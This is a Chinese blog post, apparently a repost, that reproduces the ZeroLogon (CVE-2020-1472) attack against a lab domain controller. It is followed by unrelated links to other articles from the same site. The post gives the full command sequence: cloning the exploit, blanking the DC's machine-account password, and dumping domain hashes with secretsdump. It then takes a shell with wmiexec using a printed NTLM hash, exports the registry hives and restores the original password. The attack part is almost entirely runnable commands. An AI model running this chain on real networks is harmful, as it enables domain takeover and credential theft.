CVE-2020-1472-ZeroLogon复现

news2025/7/5 3:46:08

CVE-2020-1472-ZeroLogon复现

简介

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远 程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012 Windows Server 2012 (Server Core installation)

Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation)

Windows Server 2016 Windows Server 2016 (Server Core installation)

Windows Server 2019 Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

环境

ad01:10.10.10.137

12server4 : 10.10.10.158

使用zerologin脚本复现

复现过程

检测是否存在CVE

python3 zerologon_tester.py ad01 10.10.10.137

在这里插入图片描述

漏洞利用 下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

python3 cve-2020-1472-exploit.py ad01 10.10.10.137

在这里插入图片描述

获取HASH 使用impacket包中的secretsdum.py来获取相关的HASh python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass

python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass

在这里插入图片描述

获取shell

获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL

python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR
python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
redteam.club/administrator@10.10.10.137

在这里插入图片描述

恢复原HASH 导出sam

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

在这里插入图片描述

获取hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL

在这里插入图片描述

执行以下命令,获取SAM中原来的HASH

python3 reinstall_original_pw.py ad01 10.10.10.137 beb48bc166e17cffa58c516edaca4134d4c8e546a78a30987c5acd858799d004c35acac9f28290bedac21a5ae254affbb82a4371bd5cca19ffb0a7c4d0219826710169daa1dbcd38ad997f72337ba94d0ad7aa6c79f3b7af38a4b39c6cb989431424884548ee6c61f52253f251986f91420ccb0fd8e914fa36b905e46700aa292fc673d641cc5e12fead07102bb2dcfcc92aba45a250a6a7dfac5b2f0a4aa15a90ec8f3959a4a57289eeb5b417c13c219a34d8bfde459342ad6a196efad6a7b04c6261f27340d31320faab63118cf24d2ac2ef6bf728c7855720d230142f5730a9481649051ce8af41ba8e706a777bc7

在这里插入图片描述

检测域密码

python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes
:747f92f9bf20a4fc930afc4dadf53bdc

在这里插入图片描述
在这里插入图片描述

当你真正想做成一件事情的时候,就连天地万物都会帮你

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/7150.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大牛耗时两年完成的实战手册。Elasticsearch实战,掌握这些刚刚好!

记得刚接触Elasticsearch的时候&#xff0c;没找啥资料&#xff0c;直接看了遍Elasticsearch的中文官方文档&#xff0c;中文文档很久没更新了&#xff0c;一直都是2.3的版本。最近又重新看了遍6.0的官方文档&#xff0c;由于官方文档介绍的内容比较多&#xff0c;每次看都很费…

10.基础备份与时间点恢复

目录 基础备份 时间点恢复 时间线 基础备份与时间线都是为了时间点恢复。 基础备份 基础备份的目的是备份当前的数据库集簇的快照&#xff0c;结合归档日志一起可以恢复至任意的时间点。 基础备份通过pg_start_backup命令开始为基础备份做准备&#xff0c;它会: 强制进行整…

[附源码]java毕业设计基于web的停车收费管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

dot net 杂谈之一

文章目录一、使用vscode开发.net core程序二、创建解决方案三、反射3.1 反射应用场景一3.2 反射应用场景二一、使用vscode开发.net core程序 安装如下插件&#xff1a; 1、vscode-solution-explorer 2、.NET Core Extension Pack 3、搜索nuget工具包并安装 二、创建解决方案…

股票l2数据接口中的逐单跟逐笔是什么意思?

股票l2数据接口中的逐单跟逐笔是什么意思&#xff1f; 【逐单统计】是按成交委托单资金流转情况来统计&#xff0c;特大资金买卖差大单资金买卖差中单资金买卖差小单资金买卖差0。是双向统计&#xff0c;对于每单交易同时统计买卖双方&#xff0c;一定程度上反应了资金在不同类…

Redis+AOP实现一个可通用的分布式锁——改进

目录前言方案改进思考与总结前言 上一次利用Redis分布式锁解决了一个并发问题&#xff1a; 上篇&#xff1a;利用Redis分布式锁解决集群服务器定时任务重复执行问题 代码可以直接从上篇文章中拿到&#xff0c;本篇文章仅对上次文章内容做进一步改进 主要思想是&#xff1a;利…

一篇读懂|Linux系统平均负载

我们经常会使用 top 命令来查看系统的性能情况&#xff0c;在 top 命令的第一行可以看到 load average 这个数据&#xff0c;如下图所示&#xff1a; load average 包含 3 列&#xff0c;分别表示 1 分钟、5 分钟和 15 分钟的 系统平均负载。 对于系统平均负载这个数值&#x…

红杉官网已删长文:伴随SBF一路走来的救世主情结(上)

每个创业公司都有一个创业故事。苹果是洛斯阿尔托斯车库里的两个黑客。谷歌是斯坦福大学宿舍里的两个研究生。而Alameda Research是伯克利公寓里做着加密货币交易的一个人。这个人叫山姆班克曼弗里德&#xff0c;朋友们都叫他SBF。然而&#xff0c;他所做的交易——最终催生了加…

ERP系统如何改善企业的业务?

ERP代表 "企业资源计划"&#xff0c;指的是企业用来计划和管理日常活动的一种软件或系统&#xff0c;如供应链、制造、服务、财务和其他流程。ERP系统可用于自动化和简化整个企业或组织的个别活动&#xff0c;如会计和采购、项目管理、客户关系管理、风险管理、合规和…

springboot常用组件的集成

目录 springboot常用组件的集成 1.创建项目 2. web服务器配置 3. 配置数据库 4. 配置mybatis 5. 开启事务 6.aop配置 7. pagehelper分页 3. druid数据库连接池 4. 集成redis 编写一个controller用于测试 2.手动装配redis 1.创建项目 1.idea创建项目 创建步骤 &am…

PDF文档编辑Acrobat Pro DC

acrobat dc2022不仅可以轻松的帮助用户打开任意的PDF格式文件&#xff0c;还能随意的对其进行编辑、压缩、合并、剪裁、旋转。删除、分割、重新排序页面等操作。全新的统一分享体验使您能够跨桌面&#xff0c;移动和Web进行文档协作。共享PDF链接以查看或评论。在任何设备上的任…

初识jQuery

jQuery简介 What is jQuery? jQuery is a fast, small, and feature-rich JavaScript library. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitud…

【附源码】计算机毕业设计JAVA宠物医院管理

【附源码】计算机毕业设计JAVA宠物医院管理 目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JAVA mybati…

经典动画库 animate.css 的应用

一、animate.css animate.css&#xff1a;&#xff1a;Animate.css 就像嗑水那么简单的CSS动画。 官网&#xff1a;Redirecting to Animate.css Animate.css是一个纯CSS动画库&#xff0c;其核心技术使用了 CSS3 里的 keyframes 和 animation。 不兼容IE10以下的 IE 浏览器。…

SpringMVC基于注解使用:异常处理

SpringMVC基于注解使用&#xff1a;异常处理 1、内置异常处理解析器 2、统一异常处理 ControllerAdvice 是Spring3.2提供的新注解,它是对Controller的增强,可对 controller中被 RequestMapping注解的方法加一些逻辑处理: 全局异常处理&#xff08;较为常用)全局数据绑定全局…

基于PSO的UAV三维路径规划(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…

ArcGIS计算地形湿度指数

TWI是区域地形对径流流向和蓄积影响的物理指标&#xff0c;有助于识别降雨径流模式、潜在土壤含水量增加区域和积水区域。 计算方法&#xff1a;TWI是通过细尺度地形与上梯度对地表面积的贡献相互作用&#xff0c;根据以下关系得到的(Beven et al.,1979) [1] : TWI ln [CA/…

行深智能亮相乌镇互联网大会,荣获直通乌镇全球互联网大赛一等奖

11月9-11日&#xff0c;2022年世界互联网大会在浙江乌镇举行&#xff0c;本届大会以“共建网络世界、共创数字未来——携手构建网络空间命运共同体”为主题&#xff0c;吸引了来自世界各地的政府、国际组织、企业参加。 行深智能携系列无人车及解决方案在乌镇运河智能汽车文化…

react-hooks的节流与闭包,以及useCallback的用处

目录 useThrottle: 封装了一个节流的hook useCallback的作用&#xff08;性能优化&#xff09; 不用Hook封装节流方法的情况&#xff0c;看是怎么形成闭包的&#xff1a; useThrottle: 封装了一个节流的hook import { useEffect, useCallback, useRef } from react;function…

2023年软件测试的发展如何?

近些年&#xff0c;自动化测试在很多软件公司已经成为一种必备的测试方式。即使那些还没运用自动化测试手段的公司&#xff0c;也正开始着手筹划了。每年&#xff0c;我们从举办的各种测试论坛和峰会上可以发现&#xff0c;自动化测试和敏捷测试必定是会议的主角。再看看最具有…